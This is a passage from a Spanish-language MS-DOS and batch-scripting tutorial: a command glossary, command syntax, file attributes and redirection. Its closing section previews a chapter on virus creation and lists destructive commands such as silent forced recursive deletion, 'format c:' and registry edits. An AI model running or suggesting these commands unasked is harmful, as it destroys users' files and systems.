BAT - Extensión específica para el nombre de los archivos de procedimientos, que disponen de toda una gama de comandos propios. Uno de los más conocidos es el archivo AUTOEXEC.BAT, que se ejecuta automáticamente cuando usted pone su computadora en funcionamiento.

BREAK - Activa o desactiva la posibilidad de realizar una interrupción con Control + Pausa, que permite salir de una secuencia.

BUFFERS - Comando para el config.sys que determina la capacidad del búfer para el disco.

CALL - En un archivo .bat, llama a otro .bat como un subprograma.

CD - Cambio de directorio; su nombre completo es CHDIR.

CHCP - Selección de las tablas de códigos.

CHDIR - Cambio de directorio, cuyo nombre abreviado es CD. Adopte CD en lugar de CHDIR si quiere evitar presionar tres teclas en el teclado.

CHKDSK - Controla un disco y provee información sobre su capacidad, su estado, los directorios, los archivos, la FAT, etc. Ha sido reemplazado por SCANDISK en los DOS 6.2.

CHKSTATE.SYS - Una novedad del DOS 6. Usado por el programa MemMaker para optimizar la memoria.

CHOICE - Una novedad del DOS. 6. Le pide al usuario que efectúe una selección en una secuencia «batch».

CLS - Simplemente borra la pantalla, sin cambiar ninguna otra cosa. Es un comando pequeño e interesante que conviene recordar.

COMMAND - Llama a un procesador secundario de comandos, o reinstala el procesador de comandos COMMAND.COM del DOS.

Page 39: Batch

CONFIG.SYS - Archivo de configuración que dispone de instrucciones propias. Este archivo se ejecuta automáticamente cada vez que se pone en funcionamiento la computadora.

COUNTRY - Nacionaliza el sistema, adaptándolo al país.

DATE - Muestra en pantalla y modifica la fecha utilizada por el sistema; la nueva, fecha introducida se graba en las memorias permanentes.

DBLSPACE - Compacta el disco duro, duplicando aproximadamente su capacidad. La compresión puede variar normalmente de 1,7 a más de 10, según el tipo de archivo. Este comando ha sido reemplazado por DRIVESPACE a partir del DOS 6.22.

DBLSPACE.SYS - Una novedad del DOS 6. Determina la posición final del archivo dblspace.bin.

DEBUG - Lanza el programa de "debugging' (eliminación de errores). Debug está reservado a los expertos.

DEFRAG - Una novedad del DOS 6. Desfragmenta los archivos en el disco duro para mejorar la velocidad y la seguridad.

DEL - Destruye uno o varios archivos en el disco (actúa como el comando ERASE).

DELOLDOS - Suprime la puesta en reserva de un DOS antiguo.

DELTREE - Una novedad dei DOS 6. Suprime un directorio y todo lo que contiene, incluyendo los subdirectorios, en una sola operación.

DEVICE - Instala un driver de periférico, por medio del config.sys.

DEVICEHIGH - Carga un administrador en memoria superior, por encima de los primeros 640 KB.

DISKCOMP - Compara el contenido total, pista por pista y sector por sector, de dos disquetes del mismo tipo.

DISKCOPY - Copia de modo idéntico el contenido de un disquete fuente en un disquete destinatario rigurosamente del mismo formato, formateando previamente este último y haciéndolo sobre el modelo del disquete fuente si es necesario.

DISPLAY.SYS - Se utiliza para conmutar las tablas de códigos, vía el config.sys.

DOS - Establece un vínculo entre la memoria convencional y la memoria superior a través del config.sys.

DOSKEY - Instala el programa de memorización y de llamado de los comandos instalados anteriormente. De esta manera, se evita tener que volver a escribirlos.

DOSSHELL - Llama a la superestructura de diálogo del DOS. Este dos shell ha sido

suprimido en la versión DOS 6.2 ya que Microsoft consideró que había sido reemplazado ventajosamente por el “Administrador de archivos” de ese superprograma que es Windows.

DRIVER.SYS - Administra las disqueteras, a través del Config.Sys.

DRIVPARM - Define los parámetros de periféricos en modo bloque, a través del Config.Sys.

Page 40: Batch

DRIVESPACE - Reemplaza a DBLSPACE a partir del DOS 6.22, con las mismas funciones.

ECHO - Vuelve a mostrar en pantalla o no, en eco, los comandos ejecutados en un archivo .BAT, según se ponga o no en servicio este eco, usando ON u OFF respectivamente. Permite introducir un mensaje que será mostrado en pantalla en todos los casos.

EMM386 - Sirve de soporte a la memoria expandida.

EMM386.EXE - Simula la memoria expandida en la memoria extendida, a través del Config.sys.

ERASE - Destruye uno o varios archivos del disco (y actúa como el comando DEL). Opte por DEL ya que se escribe más rápido.

ERROLEVEL - Código de errores para archivos .BAT Otra noción más para expertos.

EXE2BIN - Convierte el formato .EXE en .BIN o .COM. Este comando, que no existe más en los DOS 6, está destinado a los programadores.

EXIT - Sale de un procesador de comandos. En la mayoría de los casos, EXIT le permite salir del DOS para volver al programa que lo llama, Windows por ejemplo.

EXPAND - Descomprime un archivo comprimido. A partir del DOS versión 5.

FASTHELP - Muestra en pantalla la lista de comandos de la versión 6 con una breve explicación.

FASTOPEN - Proporciona un acceso rápido a los archivos que se usan con más frecuencia, o a los últimos que se han utilizado, memorizando su camino de acceso.

FC - Comparación de archivos. No está disponible en todas las versiones.

FCBS - Especifica la cantidad de bloques de control de archivos, en un Config.Sys. Este comando está reservado a los expertos.

FILES - Especifica la cantidad de archivos abiertos, en un Config.Sys.

FIND - Busca la cadena de caracteres indicada en un archivo y envía al periférico activo de salida (el monitor, por ejemplo) todas las líneas en las que la encontró.

FOR - Especifica la repetición del mismo comando para cada una de las variables contenidas en la lista.

GOTO - Es un direccionamiento incondicional a una línea marcada con un rótulo del mismo nombre en un archivo .BAT.

GRAFTABL - Carga la tabla de los caracteres gráficos, los códigos ASCII 128 a 255, para la visualización en pantalla. No existe más en el DOS 6.

GRAPHIC - Carga una secuencia que permite la impresión de la pantalla que incluye caracteres gráficos, de códigos 128 a 255.

GWBASIC - Llamado del antiguo Basic avanzado de Microsoft. No existe más en el DOS 6, en el cual ha sido reemplazado por el QBasic.

HELP - Pedido de ayuda. Desde el DOS 5.

Page 41: Batch

HIMEM.SYS - Administrador de memoria extendida.

IF - Comando de ejecución condicional para archivo .BAT.

INCLUDE - Incluye un bloque de configuración en otro, a través del Config.Sys. Nuevo comando con el DOS 6.

INTERLNK - Conecta dos computadoras, por medio de sus puertos paralelos o en serie. Nuevo comando del DOS 6.

INTERLNK.EXE - Administrador para Interlnk. Novedad del DOS versión 6.

INTERSVR - Lanza el centro de recuperación de datos InterLnk. Nuevo comando del DOS 6.

JOIN - Asigna el contenido de un disco a un directorio de otro disco. No existe más en el DOS 6.

KEYB - Carga el programa que administra el teclado (reemplaza al que reside en la memoria muerta, para el teclado USA).

LABEL - Crea, modifica o suprime el nombre atribuido a un disco.

LASTDRIVE - Define la cantidad de unidades de disco en el Config.Sys.

LH - Carga un programa en la memoria superior, generalmente en el Autoexec.bat. Otro nombre: LOADHIGH.

LINK - Llama al editor de conexiones.

LOADFIX - Carga un programa por encima de los primeros 64 Kb de memoria y lo ejecuta. Nuevo comando del DOS 6.

LOADHIGH - Carga un programa en la memoria superior, generalmente a través del Autoexec.bat. Desde el DOS 5. Otro nombre: LH.

MACROS - Realización de macros con Doskey.

MEM - Muestra en pantalla la memoria ocupada y la disponible.

MEMMAKER - Administración y optimización de la memoria, pero con los DOS 6. ·

MENUCOLOR - Determina el color del texto y del fondo para el primer menú, a través del Config.Sys. A partir del DOS 6.

MENUDEFAULT - Especifica el menú por defecto, en el inicio. A partir del DOS 6.

MENUITEM - A partir del DOS 6. Define un ítem del menú de arranque.

MIRROR - Copia de seguridad para el seguimiento del borrado de archivos. Con el DOS 5.

MKDIR - Crea un subdirectorio. Otro nombre de este comando: MD, por "Make Directory”, creación de un directorio.

MODE - Establece las condiciones de funcionamiento de los periféricos, impresora, interface de video y conexiones en serie, y también sirve para la preparación de las tablas de códigos.

Page 42: Batch

MORE - Para visualizar página por página en la pantalla (es decir, sin que desfilen ininterrumpidamente en la pantalla)

MOVE - Mueve uno o varios archivos y da nuevo nombre a archivos o directorios. Nuevo comando con el DOS 6.

MSAV - Programa antivirus. A partir del DOS 6.

MSBACKUP - Nuevo procedimiento de copia de seguridad, a partir del DOS 6.

MSD - Provee información técnica sobre su computadora. A partir del DOS 6.

NLSFUNC - Comando relativo a los idiomas nacionales. Su nombre proviene de "National Languages Support Function”. Da informaciones complementarias sobre los países y prepara el uso de las tablas de códigos con CHCP

NUMLOCK - Determina que la sección numérica del teclado esté bloqueada o no, a través del Config.Sys. Nuevo comando a partir del DOS 6.

PATH - Especifiica caminos de búsqueda alternativos para los archivos de comando (con la extensión .COM, o .EXE o .BAT) que no se encuentran en el directorio activo. Este comando se encuentra generalmente en el archivo Autoexec.bat.

PAUSE - Suspende la ejecución de un programa .BAT mostrando en pantalla un mensaje optativo de 121 caracteres como máximo.

POWER - Pone en servicio o saca de servicio la administración del consumo de energía. Nuevo comando a partir del DOS 6.

POWER.EXE - Administrador de POWER. Nuevo, a partir del DOS 6.

PRINT - Imprime el contenido de archivos, en segundo plano, mientras se prosigue con un trabajo en la pantalla.

PRINTER.SYS - Se utiliza para conmutar las tablas de códigos con las impresoras, a través del Config.Sys.

PROMPT - Define o muestra en pantalla los símbolos del sistema utilizados por el DOS.

QBASIC - Es el nuevo lenguaje Basic de Microsoft. A partir del DOS 5.

RAMDRIVE - Instala un disco virtual, a través del Config.Sys.

RD - Suprime un subdirectorio que debe estar obligatoriamente vacío (y que, por lo tanto, sólo debe contener las marcas . y ..). El nombre completo de este comando es RMDIR.

RECOVER - Interviene cuando hay que recuperar los datos de un archivo porque hay un sector defectuoso en el disco. Los datos de este sector se habrán perdido. No existe más en el DOS 6.

REM - Introduce observaciones, comentarios, en 123 caracteres como máximo por línea de REM.

REN - Cambia el nombre de un archivo.

RENAME - Cambia el nombre de un archivo. Es lo mismo que REN, pero más largo de escribir.

Page 43: Batch

REPLACE - Reemplaza o agrega selectivamente archivos que provienen de un disco fuente a un disco destinatario.

RESTORE - Restaura, restablece el contenido de un disco a partir de su copia de seguridad anterior, con los DOS hasta el 5 inclusive. En el DOS 6, sólo existe para la compatibilidad.

RMDIR - Suprime un subdirectorio que debe estar obligatoriamente vacío (y que, por lo tanto, sólo debe contener las marcas . y ..). El nombre abreviado es RD.

SET - Sirve para definir el entorno de trabajo que requieren algunos programas, introduciendo un nombre seguido de su equivalencia.

SETVER - Declara las versiones del DOS para algunas aplicaciones.

SETVER.EXE - Administrador de SETVER.

SHARE - Instala el programa para compartir archivos.

SHELL - Instala un procesador de comandos.

SHIFT - Sirve para utilizar más de 10 parámetros reemplazables numerados de 0 a 9, en las líneas de comando, marcando una diferencia de una posición para cada SHIFT que se introduce.

SHIPDISK - Bloquea los cabezales del disco duro antes de desplazarlo. Desapareció en el DOS 6.

SIZER.EXE - Utilizado por el programa de optimización de la memoria MemMaker Novedad del DOS 6.

SMARTDRV - Creación de la antememoria de disco SmartDrive.

SMARTDRV.EXE - Administrador de SmartDrv.

SMARTMON - Programa de monitoreo (de vigilancia) de SmartDrive.

SORT - Ordena datos.

STACKS - Define las pilas, a través del Config.Sys.

SUBMENU - Define un ítem del menú de arranque abriendo un submenú. Nuevo comando del DOS 6.

SUBST - Sustituye un camino de acceso cuya descripción es larga, y/o su unidad, por una unidad de disco ficticia que bastará con llamar luego.

SWITCHES - Sustituye el teclado extendido por el teclado convencional.

SYS - Copia los tres archivos que sirven de núcleo al sistema del disco fuente activo al disco destinatario.

TEMP - Variable de entorno.

TIME - Muestra en pantalla o configura la hora del sistema (incluidos los relojes permanentes, resguardados).

Page 44: Batch

TREE - Muestra los árboles de los directorios de un disco (y la lista de sus archivos con una clave suplementaria).

TYPE - Muestra en pantalla el contenido de un archivo.

UNDELETE - Recuperación de archivos borrados. A partir de la versión DOS 5.

UNFORMAT - Reconstrucción de un disco reformateado. A partir del DOS 5.

VDISK - Instala un disco virtual, a través del Config.Sys. Dejó de estar incluido a partir del DOS 6.

VER - Muestra en pantalla la versión activa del DOS.

VERIFY - Pone en servicio (con ON) o anula (con OFF) la verificación de los datos escritos en el disco.

VOL - Muestra en pantalla el nombre del disco solicitado.

VSAFE - Residente antivirus.

XCOPY - Copia archivos selectivamente, inclusive los que provienen de subdirectorios. Es un comando excelente que puede servir incluso para efectuar copias de seguridad.

Uso de comodines

Comodines

· * Este signo remplaza cadenas de caracteres. Es utilizado en el ejemplo, en el que remplaza el nombre de cualquier archivo solo especifica que se listen los archivos con el nombre [*] y con extensión [txt].

· ? Este otro signo remplaza pero solo un carácter. Podemos especificar mas signos de interrogación. Con lo que si ponemos dir s???*.* Esto nos listaría los directorios y archivos con un nombre que empiecen por s y otras 3 letras cualquier mas unos carácter cualquiera, a continuación él.* que hace que se listen archivos con cualquier extensión.

Ayudas para el MSDOS

MSDOS, cuenta con una ayuda que se ejecuta con el comando HELP. Lo malo es que hay versiones que no incorpora tal ayuda. La versión del WINDOWS no lo incorpora.

También podemos obtener ayuda de un comando determinado, introduciendo el comando y a continuación /?. Por ejemplo: dir /? Esto nos sacara la ayuda del DOS sobre este comando. *******************----------------------------------******************* Comandos para la gestión de directorios

Comando: MD

Etimología: Viene de make directory.

Función: Crear directorios

Sintaxis: MD [unidad\ruta\]<nombre>

Comando: RD

Etimología: Viene de remove directory.

Page 45: Batch

Función: Borra un directorio (solo si este se encuentra vació).

Sintaxis: RD [unidad\ruta\]<nombre>

Comando: DELTREE

Etimología: Anglicismo delete “eliminar/borrar” tree “árbol”.

Función: Borrar directorios (estando o no estando vacíos).

Sintaxis: DELTREE [unidad\ruta\]<nombre>

Comando: DIR

Etimología: De directorio J.

Función: Este comando procesa una visualización de todos los ficheros, directorios, de la ruta en la que nos encontramos.

Mediante una serie de parámetros podemos modificar ese listado de visualización. Este comando funciona como un filtro.

Sintaxis: DIR [unidad\directorio\fichero]

Parámetros: podemos especificar unos parámetros para que se listen los archivos y directorios de una forma concreta:

/P Con este parámetro podemos restringir la secuencia de listado y detenerla hasta que pulsemos una tecla. Al pulsar una tecla se procesara el siguiente bloque de listado y así sucesivamente. Este comando reparte internamente el numero de ficheros y directorios en bloques para luego ir sacándolos.

/N Ordena por nombre

/E Ordena por extensión

/S Ordena por tamaño

/D Ordena por fecha

/G Ordena poniendo agrupados todos los directorios después de los ficheros.

Comando: CD

Etimología: De change dir (cambiar directorio)

Función: Permite cambiar de un directorio activo a otro. Es por el cual podemos movernos en MDDOS.

Sintaxis: CD [unidad \[ruta]\[directorio] Peculiaridades: Si deseamos retroceder un directorio no hace falta poner la ruta nos basta con poner cd..

Comando: TREE

Etimología: Palabra inglesa tree (árbol).

Función: Este comando nos mostrara la estructura o el árbol de directorios de la unidad especificada en función opcional de unos parámetros dados.

Page 46: Batch

Sintaxis: tree [unidad\ruta] [/f] [/a]

Donde unidad/ruta podremos especificar la ruta de la cual deseamos obtener esta información. El parámetro /f hará que se muestren también los archivos dentro de esta estructura de directorios.

Comando: MOVE

Etimología: Viene de move (mover)

Función: Este comando mueve ficheros de un directorio a otro. Este comando vendría hacer internamente una copia del archivo al directorio especificado a mover, luego borra el fichero de salida.

Sintaxis: move [/y] <origen> <destino>

Donde /y es un parámetro que poniéndolo el move moverá ficheros sin preguntar la confirmación de reemplazo a otros archivos que se puedan llamar de la misma forma al directorio de destino. En caso de no especificarse, MSDOS nos preguntara la confirmación de reemplazo de ficheros. A continuación debemos especificar el directorio de origen y el de salida o destino.

*******************----------------------------------*******************

Comandos para la gestión de archivos

Comando: TYPE

Etimología: Pos lo de siempre, anglicismo. Función: Ver el contenido de archivos de texto, haciendo un listado (no permite el uso de comodines). Sintaxis: TYPE [unidad \[ruta]\[directorio]\<archivo>

Comando: PRINT

Etimología: Pues de imprimir J

Función: Imprime archivo de texto. Sintaxis: : PRINT [unidad \[ruta]\[directorio]\<archivo>

Comando: COPY

Etimología: Pos lo de siempre copy en el ingles de copiar.

Función: Este comando permite la reproducción o copia de archivos o ficheros (es lo mismo).

Sintaxis: copy <fichero-origen> <fichero-destino>

Comando: MOVE

Función: Este comando mueve ficheros de un directorio a otro. Este comando vendría hacer internamente una copia del archivo al directorio especificado a mover, luego borra el fichero de salida.

Sintaxis: move [/y] <origen> <destino>

Page 47: Batch

Comando: REN o RENAME

Etimología: Viene de la palabra inglesa rename (renombrar).

Función: Su función es dar un nuevo nombre a un fichero. No se puede renombrar y que haya dos archivos con el mismo nombre, ni MSDOS ni Windows lo permiten dentro de un mismo directorio. Si los archivos llamados de forma igual se encuentran en directorios distintos si lo permiten. También podemos usar en este comando los comodines del dir J.

Sintaxis: rename <nombre-actual> <nombre-nuevo>

Comando: DEL

Etimología: Su nombre viene como siempre del ingles (delete) L.

Función: Es el comando encargado de eliminar archivos. En este comando podemos usar los comodines que usábamos en el comando dir. Sintaxis: del [unidad \[ruta]\[directorio]\<archivo>

Comando: ERASE

Función: Exactamente igual que el anterior, por ello no le daré mas importancia. Sintaxis: erase [unidad \[ruta]\[directorio]\<archivo>

Comando: FC

Etimología: Como siempre referencia al ingles (normal en la informática L) file compare.

Función: Sirve para comparar dos ficheros y verificar así que las copias son exactas.

Sintaxis: FC fichero1 fichero2

Comando: UNDELETE

Etimología: UN (recupera) DELETE (el borrado), traducción chapucera by Quasi.

Función: Permite recuperar ficheros previamente borrados con la orden DEL. Posee tres parámetros /LIST (presenta una lista de archivos recuperables), /ALL (recupera todos los archivos sin pedir confirmaciones) y /DOS (crea una lista de archivos borrados por el dos y otra de archivos borrados por otro motivo).

Sintaxis: UBDELETE [parámetros]<fichero>

Comando: XCOPY

Función: Con el COPY solo copiábamos archivos con este comando podemos copiar un directorio entero, con sus subdirectorios y archivos.

Sintaxis: xcopy origen [destino]

Donde origen es la ruta del directorio o archivo a copiar.

Parámetros: En este comando puedes incluir unos parámetros o modificadores que tendrá en cuenta a la hora de ser ejecutado, estos son:

Page 48: Batch

/P : Pide confirmación de SI o NO antes de copiar cada archivo.

/S : Indica que la copia debe hacerse extensiva a todos los subdirectorios.

/E : Copia también los directorios vacíos.

/W : Espera la confirmación antes de copiar los archivos.

/V : Verifica la correccion de la copia.

/D Obliga a hacer una copia selectiva solo de los ficheros de fecha igual o mayor a la especificada.

Comando: DOSKEY

Función: Este comando se encuentra residente en memoria y una vez activado, permite visualizar los comandos de MSDOS introducidos con anterioridad.

Comando: VERIFY

Función: Comando que indica al sistema que archivos son escritos correctamente.

Sintaxis: verify (on/off)

Comando: EDIT

Función: En MSDOS podemos contar con un editor de texto, con una interface grafica para msdos J. Con este editor de texto implementado en MSDOS podemos editar cualquier archivo que contenga texto.

Sintaxis: edit [unidad \[ruta]\[directorio]\<archivo.ext (solo de texto)>

Ejemplo: c:\>edit autoexec.bat

Con esto se nos abriría el editor de texto del MSDOS con el archivo de autoexec.bat listo para editar, no metais la pezuña en este archivo si no conocemos su funcionamiento J.

En caso de que el nombre de archivo pasado como parámetro al edit no exista, el edit abrirá un archivo en blanco almacenado con ese nombre pero de forma temporal. Así que si queréis tenerlo, debéis guardarlo con el edit en un directorio.

*******************----------------------------------*******************

Comandos para gestiones en discos y disquetes

Comando: FORMAT

Etimología: Viene de formatear, anglicismo.

Función: Formateado, o borrado completo de un disco o disquete.

Sintaxis: format <unidad:>

Parámetros: Permite los siguientes modificadores

/Q: Realiza formato rápido.

Page 49: Batch

/Q y /U : El uso conjunto de estos dos parámetros asegura un formateado muy rápido.

Peculiaridades: También existe para recuperar lo formateado el UNFORMAT.

Comando: SYS

Etimología: De system (sistema).

Función: Crear un disco de sistema (un disco con los archivos de sistema)

Sintaxis: sys unidad:

Comando: CHKDSK

Etimología: Deriva de las palabras (check disck), chequear disco.

Función: Nos realiza un cheque de la unidad introducida como parámetro en el comando. Mostrándonos así el estado del disco o disquete.

Sintaxis: chkdsk [unidad [fichero]

Comando: DISKCOPY

Etimología: Deriva de disk (disco) y copy (copiar) = copia de discos.

Función: Copia el contenido total de un disco o disquete, sirve para hacer copias de seguridad, etc.

Sintaxis: diskcopy <unidad_origen:> <unidad_destino:>

Comando: DISKCOMP

Función: Tras realizar una copia de disquetes podemos realizar una verificación, para ver si ha copiado todos los contenidos, comparando. Este comando compara discos o disquetes.

Sintaxis: diskcomp <unidad1:> <unidad2:>

Comando: LABEL

Función: Es una orden que permite cambiar o borrar el nombre de la etiqueta que tiene asignado un disco o disquete cuando este es formateado. La etiqueta es simplemente un nombre asignado por el usuario para identificar el disco o disquete. Generalmente es bueno que dicho nombre haga alusión a su contenido.

Sintaxis: label [etiqueta de volumen]

Donde, poniendo solo label nos visualizaría el nombre de la etiqueta, actual. Y especificando ya ese parámetro nos lo podria directamente.

Comando: VOL

Función: Este comando nos muestra en pantalla, prácticamente la misma información que el anterior, haciendo la salvedad de que este también nos muestra el numero de serie que se le

Page 50: Batch

es asignado al disco o disquete. Este numero de serie no es modificable puesto que la etiqueta si lo es y ha de haber alguna forma con la que siempre el sistema pueda identificar un disco. Esto lo hace refiriéndose a ese numero de serie (no modificable).

Sintaxis: vol

Comando: DEFRAG

Función: Defragmenta y obtimiza el disco, almacenando los ficheros en clusters secuenciales, lo que optimiza el rendimiento del sistema. Sintaxis: defrag

Comando: SCANDISK

Función: Comprueba la integridad de los datos almacenados basándose en el estado del disco que almacena estos datos. Sintaxis: scandisk

Comando: MSBACKUP

Función: Realiza copias de seguridad. Permite realizar una copia de seguridad de todos o parte de los archivos que se encuentran en el disco duro.

Sintaxis: MSBACKUP [nombre del fichero y especificaciones]

Comando: RESTORE

Función: Restablece los ficheros de los discos de seguridad. Es un comando complementario al anterior.

Sintaxis: RESTORE disk-1: disk-2: [archivos]

*******************----------------------------------*******************

Comandos para gestiones varias

Comando: PROMPT Sintaxis: prompt [ texto o parametros ]

Definición: Este comando sirve para mostrar en pantalla un texto deseado. Mediante una serie de signos podemos hacer que sean restituidos por valores ya almacenados como la hora, la fecha, etc. Los que sabéis programar en scriptting veréis que el uso de estos signos es muy similar al uso de identificadores.

Ejemplo: C:\>prompt El verdadero poder se encuentra en OrioN ScripT.$_ Hoy es dia $d y son las $._Telee una nueva orden $p$g .

Signos devolutorios de valores:

$ Este signo, es el que siempre se ha de colocar, una vez que es leído por el MSDOS, sabe que ha de sustituir la cadena de carácter que le sigue por un valor almacenado.

$_ Procesa el efecto de retorno de carro, o lo que es lo mismo un salto de línea (intro).

$b Procesa una canalización ( | ).

Page 51: Batch

$d Muestra en pantalla la fecha del sistema.

$e Representa el código ascii 27, tecla escape.

$g Muestra en pantalla el carácter “>”.

$h Procesa un retroceso, la tecla back space. Elimina el carácter anterior.

$l Muestra en pantalla el carácter, “<”.

$n Visualización de la unidad de trabajo por defecto.

$p Visualiza el directorio de trabajo incluyendo la unidad.

$q Muestra el carácter “=”.

$t Muestreo de la hora del sistema.

$v Muestra la versión del MSDOS con la que estamos operando.

Comando: CLS

Sintaxis: cls

Función: Sus iniciales vienen de clean screen (limpiar pantalla). Su uso es muy simple, se introduce el comando se pulsa intro, y se procesa un limpiada de pantalla. Solo queda el directorio en el que nos encontrábamos, situado en la parte superior de la pantalla.

Comando: VER

Función: Este comando nos muestra en pantalla la versión que estamos usando del MSDOS.

Etimología: De versión en ingles.

Sintaxis: ver

Comando: DATE

Etimología: De fecha en ingles

Función: Nos muestra en pantalla la fecha almacenada por el sistema de forma diaria. En una línea posterior nos facilita la posibilidad de cambiar la configuración de la fecha del sistema.

Sintaxis: [dd-mm-aa]

Comando: TIME

Etimología: Supongo que sabréis de donde viene jejeje.

Función: Funciona de la misma forma que el comando anterior. La única diferencia es que el anterior muestra la fecha y este la hora, resulta bastante evidente, no J. También nos permite la tarea de cambiar la hora en una línea posterior al muestreo de la hora actual almacenada por el sistema.

Sintaxis: time

Page 52: Batch

*******************----------------------------------*******************

Atributos de los ficheros

Atributos

Permiten asociar a los archivos unas características especiales (oculto, de sistema, de solo lectura, y de archivo).

Estas características pueden estar activadas o desactivadas en los archivos a los que se refieren.

Con este comando podrás visualizar y modificar atributos de ficheros.

1. De solo lectura ( r ): Protege a un fichero de forma que solo puede ser leido y no modificado ni borrado. 2. De archivo ( a ) : Sirve para saber si un determinado fichero ha sido o no modificado. 3. Oculto ( h ): Sirve para esconder un fichero. 4. De sistema ( s ) : Sirve para identificar los archivos propios del sistema, los cuales sirven para cargar el SO (sistema operativo).

Comando: ATTRIB Para visualizar:

Sintaxis: attrib /s Para modificar atributos:

Sintaxis: attrib <fichero> <+/-><a/h/s/a/r> Para listar con el dir ficheros con atributos:

Sintaxis: dir /a:h

Donde dir es el comando de listado de archivos, /a es la salida al comando attrib que mirara solo los archivos :h con el modificador h (oculto).

*******************----------------------------------*******************

Redireccionamiento y filtros

Dispositivos:

CON: Bajo este nombre MSDOS identifica al teclado y al monitor (principales dispositivos de entrada y salida). Identifica con el mismo nombre al monitor y al teclado porque son dispositivos unidireccionales, lo que quiere decir que por ellos solo se puede realizar o la acción de entrada de datos o de salida, con lo cual no hay problemas a la hora de identificarlos con el mismo nombre. El nombre CON viene de “CONsola”.

LPTn: Este identificativo se refiere a los puertos pararelos. El MSDOS consigue identificar hasta 3 puertos pararelos: LPT1, LPT2, LPT3.

Estos puertos pararelos son bidireccionales. Y suelen estar conectados a ellos dispositivos como la impresora, generalmente este esta en el LPT1. A la impresora también se le designa PRN.

COMn: Se emplea para identificar los puertos de comunicaciones. Los llamados puertos series, se denominan series, porque envía bit a bit de forma sucesiva, uno detrás de otro. Son dispositivos bidireccionales a los que se suelen conectar el raton, el MODEM, etc. MSDOS puede reconocer hasta 4 puertos serie: COM1, COM2, COM3, COM4.

Page 53: Batch

NUL: No identifica a ningún dispositivo en concreto. Pero se crea para representar a un dispositivo ficticio para así simular la trasferencia o recepción de información.

Haber, en MSDOS no se trabaja solo con el monitor y el teclado como dispositivos de salida y entrada. MSDOS permite trabajar con otros dispositivos de entrada y salida como puede ser la impresora, etc. Esto se realiza gracias a los redireccionamientos del DOS. Con los cuales si queremos en vez de ver el resultado de un DIR en pantalla podemos redireccionar el comando y sacarlo por impresora, todo el listado. También podremos grabar ese dir en un fichero, etc.

Los redireccionamientos usan unos signos especiales con los que se identifican.

Operadores de redireccionamiento de salida: Es el signo de (mayor que): “>”. Este signo dirigirá el comando introducido en el DOS hacia un dispositivo de entrada o slaida. Por ejemplo, si ponemos en el DOS: a:\>dir>director.txt. Esto hará que salgan todo el listado de dir en el archivo especificado. Podemos hacer lo mismo pero en vez de director.txt ponemos el identificativo de la impresora LPT1 o PRN, de esta forma saldrá impreso el resultado del DIR.

Operadores de redireccionamiento de entrada: Es el signo de (menor que): “<”. Indica al DOS que debe tomar los datos de entrada desde un fichero que se especifique (por supuesto debe existir dicho fichero) o de otro dispositivo, en lugar de tomarlos por teclado. MSDOS cuenta con 3 ordenes tomadas específicamente para este tipo de redireccionamientos, hablamos de: SORT (ordena los datos de entrada), MORE (visualiza el contenido de los datos de entrada fraccionando su presentación en pantalla completa), FIND (localiza una cadena de caracteres específicos dentro de los datos de entrada).

Operadores de redireccionamientos de adicción a un fichero: Se usa el signo doble mayor que: “>>”. La diferencia entre este y el anterior de redireccionamiento a un fichero, radica que este redirecciona el resultado a un fichero y si este fichero contiene ya algo pues lo situá al final. Mientras que el anterior en caso de existir el fichero y de contener algo, lo borraba para meter los nuevos datos surgidos del redireccionamiento.

Filtros

MSDOS además de permitir redireccionar las ordenes a dispositivos de entrada y salida, también permite direccionar las ordenes a otras ordenes. Para ello cuenta con los FILTROS, para identificarlos usa el signo | (alt gr + 1). Los filtros con los que cuenta son: MORE, SORT, FIND.

SORT: Este filtro ordena los datos de entrada. Por defecto los ordena según la primera letra de los datos de salida. Se refiere a la primera letra de cada fila de toda la columna.

Sintaxis: SORT [/R] [/+numero]

/R: Indica a MSDOS que debe invertir el orden de la ordenación, es decir que orden descendentemente, de mayor a menor.

/+numero: Indica a MSDOS que en lugar de ordenar por el primer carácter (la primera columna), lo haga por el carácter que ocupe la posición que se le especifique.

FIND: Este filtro localiza una cadena de caracteres dentro de un fichero, por tanto , es aconsejable que se emplee con un fichero de texto. Este filtro recibe como entrada datos dispuestos en filas y devuelve solo aquellas filas que contienen la secuencia de caracteres o cadena que se ha especificado en la orden.

Sintaxis: FIND /V /C /N /I <cadena> [fichero]

/V: Muestra las líneas que no contienen la cadena.

/C: Muestra las líneas que contienen la cadena.

Page 54: Batch

/I: Omite mayusculas y minúsculas.

/N: Muestra las líneas de texto con la cadena y los numeros de esas líneas

MORE: Permite obtener el resultado de una orden de forma paginada, si el resultado es mayor que la pantalla (mas de 25 lineas). Para así poder visualizarlo todo.

Bien, si han entendido lo anterior, ya es el momento de que sepan el resto de comandos, y experimenten y prueven por ustedes mismos.En este capítulo, les enseñare el resto de comandos interesantes, y para el próximo capítulo, nos meteremos con la creación de virus, e irán surgiendo nuevas cosas y comandos.Bien, estos son los comandos básicos q deben recordar:

del borra archivos, por ejemplo: del c:/ruta/del/archivo/juego.exe/P Pide confirmación en cada caso/F Modo forcé. Borra incluso los archivos de solo lectura/S Borra también los subdirectorios./Q Modo silencioso. No pide confirmación en ningún caso

rd borra el directorio de raid, por ejemplo: rd c:/ruta/directorio/raíz borrara ese directoriostar comienza algo, por ejemplo star Debes hacer Login para poder ver los links de descarga.

taskkill mata un proceso, puede ser también taskkill/f (fuerza bruta) ejemplo: taskkill iexplore.exeformat unidad: formatea una unidad, por ejemplo format c:msg* hace que aparezca un mensaje en una ventana de windows, por ejemplo; msg* adiós!! y no te olvides de visitar Programasfull!!reg add añade lo que queramos a la ruta del registro especificada…(ya lo veremos mas adelante)> y >> son unos redireccionamientos, por ejemplo, si ponemos echo hola>hola.txt se nos creara en el directorio actual, un archivo de texto con el titulo de hola, y que si lo abrimos veremos la palabra hola.Si por ejemplo ahora creamos otro y escribimos echo adiós>>hola.txt En el archivo que teníamos anteriormente, se seguirá llamando hola, pero al abrirlo veremos que pone hola y en la línea siguiente adiós.Pero si por el contrario ponemos echo adiós>hola.txt Al abrir el archivo, solo aparecerá la

Page 55: Batch

palabra adiós.Espero que lo hayan entendido… en breves palabras:

> crea o remplaza un archivo>>salta asta la línea siguienteejemplo:

@echo offecho moglu>hola.txtexit

Esto nos creara en el directorio actual, un archivo llamado hola.txt y en su interior pondrá moglu

* El * sirve para sustituir a todos los caracteres… por ejemplo si ponemos del *.jpgborrara todos los archivos con extensión .jpgdel a*.jpg borrara todos los jpg que empiece por a sea cual sea su continuación.

